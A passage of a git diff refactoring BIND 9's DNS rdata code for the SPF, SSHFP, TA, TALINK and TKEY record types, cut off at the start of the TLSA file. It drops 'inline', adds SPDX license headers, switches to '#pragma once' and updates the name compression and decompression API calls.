-static inline int
+static int
 compare_spf(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -59,14 +61,14 @@ compare_spf(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_spf(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_spf);
 
 	return (generic_fromstruct_txt(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_spf(ARGS_TOSTRUCT) {
 	dns_rdata_spf_t *spf = target;
 
@@ -81,7 +83,7 @@ tostruct_spf(ARGS_TOSTRUCT) {
 	return (generic_tostruct_txt(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_spf(ARGS_FREESTRUCT) {
 	dns_rdata_spf_t *spf = source;
 
@@ -91,18 +93,19 @@ freestruct_spf(ARGS_FREESTRUCT) {
 	generic_freestruct_txt(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_spf(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_spf);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_spf(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -113,7 +116,7 @@ digest_spf(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_spf(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_spf);
 
@@ -125,7 +128,7 @@ checkowner_spf(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_spf(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_spf);
 
@@ -136,7 +139,7 @@ checknames_spf(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_spf(ARGS_COMPARE) {
 	return (compare_spf(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/spf_99.h b/lib/dns/rdata/generic/spf_99.h
index 533e1e295c..f0963ed28d 100644
--- a/lib/dns/rdata/generic/spf_99.h
+++ b/lib/dns/rdata/generic/spf_99.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_SPF_99_H
-#define GENERIC_SPF_99_H 1
+#pragma once
 
 typedef struct dns_rdata_spf_string {
 	uint8_t length;
@@ -30,4 +31,3 @@ typedef struct dns_rdata_spf {
  * ISC_LANG_BEGINDECLS and ISC_LANG_ENDDECLS are already done
  * via rdatastructpre.h and rdatastructsuf.h.
  */
-#endif /* GENERIC_SPF_99_H */
diff --git a/lib/dns/rdata/generic/sshfp_44.c b/lib/dns/rdata/generic/sshfp_44.c
index 9c604c1380..cb5f2f6e2f 100644
--- a/lib/dns/rdata/generic/sshfp_44.c
+++ b/lib/dns/rdata/generic/sshfp_44.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_SSHFP_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_sshfp(ARGS_FROMTEXT) {
 	isc_token_t token;
 	int len = -1;
@@ -69,7 +71,7 @@ fromtext_sshfp(ARGS_FROMTEXT) {
 	return (isc_hex_tobuffer(lexer, target, len));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_sshfp(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("64000 ")];
@@ -121,7 +123,7 @@ totext_sshfp(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_sshfp(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -130,7 +132,6 @@ fromwire_sshfp(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length < 2) {
@@ -147,7 +148,7 @@ fromwire_sshfp(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_sshfp(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -160,7 +161,7 @@ towire_sshfp(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_sshfp(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -176,7 +177,7 @@ compare_sshfp(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_sshfp(ARGS_FROMSTRUCT) {
 	dns_rdata_sshfp_t *sshfp = source;
 
@@ -194,7 +195,7 @@ fromstruct_sshfp(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, sshfp->digest, sshfp->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_sshfp(ARGS_TOSTRUCT) {
 	dns_rdata_sshfp_t *sshfp = target;
 	isc_region_t region;
@@ -216,15 +217,11 @@ tostruct_sshfp(ARGS_TOSTRUCT) {
 	sshfp->length = region.length;
 
 	sshfp->digest = mem_maybedup(mctx, region.base, region.length);
-	if (sshfp->digest == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	sshfp->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_sshfp(ARGS_FREESTRUCT) {
 	dns_rdata_sshfp_t *sshfp = source;
 
@@ -241,18 +238,19 @@ freestruct_sshfp(ARGS_FREESTRUCT) {
 	sshfp->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_sshfp(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_sshfp);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_sshfp(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -263,7 +261,7 @@ digest_sshfp(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_sshfp(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_sshfp);
 
@@ -275,7 +273,7 @@ checkowner_sshfp(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_sshfp(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_sshfp);
 
@@ -286,7 +284,7 @@ checknames_sshfp(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_sshfp(ARGS_COMPARE) {
 	return (compare_sshfp(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/sshfp_44.h b/lib/dns/rdata/generic/sshfp_44.h
index 91cc0ab0de..a19806fec1 100644
--- a/lib/dns/rdata/generic/sshfp_44.h
+++ b/lib/dns/rdata/generic/sshfp_44.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,8 +14,7 @@
 /*!
  *  \brief Per RFC 4255 */
 
-#ifndef GENERIC_SSHFP_44_H
-#define GENERIC_SSHFP_44_H 1
+#pragma once
 
 typedef struct dns_rdata_sshfp {
 	dns_rdatacommon_t common;
@@ -23,5 +24,3 @@ typedef struct dns_rdata_sshfp {
 	uint16_t length;
 	unsigned char *digest;
 } dns_rdata_sshfp_t;
-
-#endif /* GENERIC_SSHFP_44_H */
diff --git a/lib/dns/rdata/generic/ta_32768.c b/lib/dns/rdata/generic/ta_32768.c
index 93e095d4ac..4a0688ccbc 100644
--- a/lib/dns/rdata/generic/ta_32768.c
+++ b/lib/dns/rdata/generic/ta_32768.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,28 +18,28 @@
 
 #define RRTYPE_TA_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ta(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_ta);
 
 	return (generic_fromtext_ds(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ta(ARGS_TOTEXT) {
 	REQUIRE(rdata->type == dns_rdatatype_ta);
 
 	return (generic_totext_ds(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ta(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_ta);
 
 	return (generic_fromwire_ds(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ta(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -50,7 +52,7 @@ towire_ta(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_ta(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -66,14 +68,14 @@ compare_ta(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ta(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_ta);
 
 	return (generic_fromstruct_ds(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ta(ARGS_TOSTRUCT) {
 	dns_rdata_ds_t *ds = target;
 
@@ -90,7 +92,7 @@ tostruct_ta(ARGS_TOSTRUCT) {
 	return (generic_tostruct_ds(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_ta(ARGS_FREESTRUCT) {
 	dns_rdata_ta_t *ds = source;
 
@@ -107,18 +109,19 @@ freestruct_ta(ARGS_FREESTRUCT) {
 	ds->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ta(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_ta);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ta(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -129,7 +132,7 @@ digest_ta(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_ta(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_ta);
 
@@ -141,7 +144,7 @@ checkowner_ta(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_ta(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_ta);
 
@@ -152,7 +155,7 @@ checknames_ta(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ta(ARGS_COMPARE) {
 	return (compare_ta(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/ta_32768.h b/lib/dns/rdata/generic/ta_32768.h
index a25f652e15..e9111c5d0d 100644
--- a/lib/dns/rdata/generic/ta_32768.h
+++ b/lib/dns/rdata/generic/ta_32768.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,12 +11,9 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_TA_32768_H
-#define GENERIC_TA_32768_H 1
+#pragma once
 
 /*
  * TA records are identical to DS records.
  */
 typedef struct dns_rdata_ds dns_rdata_ta_t;
-
-#endif /* GENERIC_TA_32768_H */
diff --git a/lib/dns/rdata/generic/talink_58.c b/lib/dns/rdata/generic/talink_58.c
index bf001bc160..c27395a7f4 100644
--- a/lib/dns/rdata/generic/talink_58.c
+++ b/lib/dns/rdata/generic/talink_58.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_TALINK_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_talink(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -44,13 +46,13 @@ fromtext_talink(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_talink(ARGS_TOTEXT) {
 	isc_region_t dregion;
 	dns_name_t prev;
 	dns_name_t next;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_talink);
 	REQUIRE(rdata->length != 0);
@@ -67,16 +69,18 @@ totext_talink(ARGS_TOTEXT) {
 	dns_name_fromregion(&next, &dregion);
 	isc_region_consume(&dregion, name_length(&next));
 
-	sub = name_prefix(&prev, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&prev, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	RETERR(str_totext(" ", target));
 
-	sub = name_prefix(&next, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&next, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_talink(ARGS_FROMWIRE) {
 	dns_name_t prev;
 	dns_name_t next;
@@ -86,16 +90,16 @@ fromwire_talink(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&prev, NULL);
 	dns_name_init(&next, NULL);
 
-	RETERR(dns_name_fromwire(&prev, source, dctx, options, target));
-	return (dns_name_fromwire(&next, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&prev, source, dctx, target));
+	return (dns_name_fromwire(&next, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_talink(ARGS_TOWIRE) {
 	isc_region_t sregion;
 	dns_name_t prev;
@@ -106,7 +110,7 @@ towire_talink(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_talink);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 
 	dns_name_init(&prev, moffsets);
 	dns_name_init(&next, roffsets);
@@ -115,14 +119,14 @@ towire_talink(ARGS_TOWIRE) {
 
 	dns_name_fromregion(&prev, &sregion);
 	isc_region_consume(&sregion, name_length(&prev));
-	RETERR(dns_name_towire(&prev, cctx, target));
+	RETERR(dns_name_towire(&prev, cctx, target, NULL));
 
 	dns_name_fromregion(&next, &sregion);
 	isc_region_consume(&sregion, name_length(&next));
-	return (dns_name_towire(&next, cctx, target));
+	return (dns_name_towire(&next, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_talink(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -138,7 +142,7 @@ compare_talink(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_talink(ARGS_FROMSTRUCT) {
 	dns_rdata_talink_t *talink = source;
 	isc_region_t region;
@@ -157,12 +161,11 @@ fromstruct_talink(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_talink(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_talink_t *talink = target;
 	dns_name_t name;
-	isc_result_t result;
 
 	REQUIRE(rdata->type == dns_rdatatype_talink);
 	REQUIRE(talink != NULL);
@@ -178,27 +181,18 @@ tostruct_talink(ARGS_TOSTRUCT) {
 	dns_name_fromregion(&name, &region);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_init(&talink->prev, NULL);
-	RETERR(name_duporclone(&name, mctx, &talink->prev));
+	name_duporclone(&name, mctx, &talink->prev);
 
 	dns_name_fromregion(&name, &region);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_init(&talink->next, NULL);
-	result = name_duporclone(&name, mctx, &talink->next);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	name_duporclone(&name, mctx, &talink->next);
 
 	talink->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&talink->prev, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_talink(ARGS_FREESTRUCT) {
 	dns_rdata_talink_t *talink = source;
 
@@ -214,18 +208,19 @@ freestruct_talink(ARGS_FREESTRUCT) {
 	talink->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_talink(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_talink);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_talink);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_talink(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -235,7 +230,7 @@ digest_talink(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_talink(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_talink);
 
@@ -247,7 +242,7 @@ checkowner_talink(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_talink(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_talink);
 
@@ -257,7 +252,7 @@ checknames_talink(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_talink(ARGS_COMPARE) {
 	return (compare_talink(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/talink_58.h b/lib/dns/rdata/generic/talink_58.h
index 501f8a676c..5a7f0751e8 100644
--- a/lib/dns/rdata/generic/talink_58.h
+++ b/lib/dns/rdata/generic/talink_58.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,8 +15,7 @@
  * http://www.iana.org/assignments/dns-parameters/TALINK/talink-completed-template
  */
 
-#ifndef GENERIC_TALINK_58_H
-#define GENERIC_TALINK_58_H 1
+#pragma once
 
 typedef struct dns_rdata_talink {
 	dns_rdatacommon_t common;
@@ -22,5 +23,3 @@ typedef struct dns_rdata_talink {
 	dns_name_t prev;
 	dns_name_t next;
 } dns_rdata_talink_t;
-
-#endif /* GENERIC_TALINK_58_H */
diff --git a/lib/dns/rdata/generic/tkey_249.c b/lib/dns/rdata/generic/tkey_249.c
index 4eae9d9094..b2fb112aab 100644
--- a/lib/dns/rdata/generic/tkey_249.c
+++ b/lib/dns/rdata/generic/tkey_249.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_TKEY_ATTRIBUTES (DNS_RDATATYPEATTR_META)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_tkey(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_rcode_t rcode;
@@ -73,7 +75,8 @@ fromtext_tkey(ARGS_FROMTEXT) {
 	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_string,
 				      false));
 	if (dns_tsigrcode_fromtext(&rcode, &token.value.as_textregion) !=
-	    ISC_R_SUCCESS) {
+	    ISC_R_SUCCESS)
+	{
 		i = strtol(DNS_AS_STR(token), &e, 10);
 		if (*e != 0) {
 			RETTOK(DNS_R_UNKNOWN);
@@ -116,14 +119,14 @@ fromtext_tkey(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, (int)token.value.as_ulong));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_tkey(ARGS_TOTEXT) {
 	isc_region_t sr, dr;
 	char buf[sizeof("4294967295 ")];
 	unsigned long n;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_tkey);
 	REQUIRE(rdata->length != 0);
@@ -136,8 +139,9 @@ totext_tkey(ARGS_TOTEXT) {
 	dns_name_init(&name, NULL);
 	dns_name_init(&prefix, NULL);
 	dns_name_fromregion(&name, &sr);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 	RETERR(str_totext(" ", target));
 	isc_region_consume(&sr, name_length(&name));
 
@@ -240,7 +244,7 @@ totext_tkey(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_tkey(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	unsigned long n;
@@ -251,13 +255,13 @@ fromwire_tkey(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	/*
 	 * Algorithm.
 	 */
 	dns_name_init(&name, NULL);
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	/*
 	 * Inception: 4
@@ -301,7 +305,7 @@ fromwire_tkey(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, n + 2));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_tkey(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -310,20 +314,20 @@ towire_tkey(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_tkey);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	/*
 	 * Algorithm.
 	 */
 	dns_rdata_toregion(rdata, &sr);
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 	isc_region_consume(&sr, name_length(&name));
 
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_tkey(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -354,7 +358,7 @@ compare_tkey(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_tkey(ARGS_FROMSTRUCT) {
 	dns_rdata_tkey_t *tkey = source;
 
@@ -412,7 +416,7 @@ fromstruct_tkey(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, tkey->other, tkey->otherlen));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_tkey(ARGS_TOSTRUCT) {
 	dns_rdata_tkey_t *tkey = target;
 	dns_name_t alg;
@@ -434,7 +438,7 @@ tostruct_tkey(ARGS_TOSTRUCT) {
 	dns_name_init(&alg, NULL);
 	dns_name_fromregion(&alg, &sr);
 	dns_name_init(&tkey->algorithm, NULL);
-	RETERR(name_duporclone(&alg, mctx, &tkey->algorithm));
+	name_duporclone(&alg, mctx, &tkey->algorithm);
 	isc_region_consume(&sr, name_length(&tkey->algorithm));
 
 	/*
@@ -472,9 +476,6 @@ tostruct_tkey(ARGS_TOSTRUCT) {
 	 */
 	INSIST(tkey->keylen + 2U <= sr.length);
 	tkey->key = mem_maybedup(mctx, sr.base, tkey->keylen);
-	if (tkey->key == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&sr, tkey->keylen);
 
 	/*
@@ -488,24 +489,11 @@ tostruct_tkey(ARGS_TOSTRUCT) {
 	 */
 	INSIST(tkey->otherlen <= sr.length);
 	tkey->other = mem_maybedup(mctx, sr.base, tkey->otherlen);
-	if (tkey->other == NULL) {
-		goto cleanup;
-	}
-
 	tkey->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&tkey->algorithm, mctx);
-	}
-	if (mctx != NULL && tkey->key != NULL) {
-		isc_mem_free(mctx, tkey->key);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_tkey(ARGS_FREESTRUCT) {
 	dns_rdata_tkey_t *tkey = (dns_rdata_tkey_t *)source;
 
@@ -525,18 +513,19 @@ freestruct_tkey(ARGS_FREESTRUCT) {
 	tkey->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_tkey(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_tkey);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_tkey);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_tkey(ARGS_DIGEST) {
 	UNUSED(rdata);
 	UNUSED(digest);
@@ -547,7 +536,7 @@ digest_tkey(ARGS_DIGEST) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline bool
+static bool
 checkowner_tkey(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_tkey);
 
@@ -559,7 +548,7 @@ checkowner_tkey(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_tkey(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_tkey);
 
@@ -570,7 +559,7 @@ checknames_tkey(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_tkey(ARGS_COMPARE) {
 	return (compare_tkey(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/tkey_249.h b/lib/dns/rdata/generic/tkey_249.h
index 220caca2e7..8edd074ecd 100644
--- a/lib/dns/rdata/generic/tkey_249.h
+++ b/lib/dns/rdata/generic/tkey_249.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_TKEY_249_H
-#define GENERIC_TKEY_249_H 1
+#pragma once
 
 /*!
  *  \brief Per draft-ietf-dnsind-tkey-00.txt */
@@ -28,5 +29,3 @@ typedef struct dns_rdata_tkey {
 	uint16_t otherlen;
 	unsigned char *other;
 } dns_rdata_tkey_t;
-
-#endif /* GENERIC_TKEY_249_H */
diff --git a/lib/dns/rdata/generic/tlsa_52.c b/lib/dns/rdata/generic/tlsa_52.c
index 97ea972cbc..78b79e494b 100644
--- a/lib/dns/rdata/generic/tlsa_52.c
+++ b/lib/dns/rdata/generic/tlsa_52.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_TLSA_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 generic_fromtext_tlsa(ARGS_FROMTEXT) {
 	isc_token_t token;
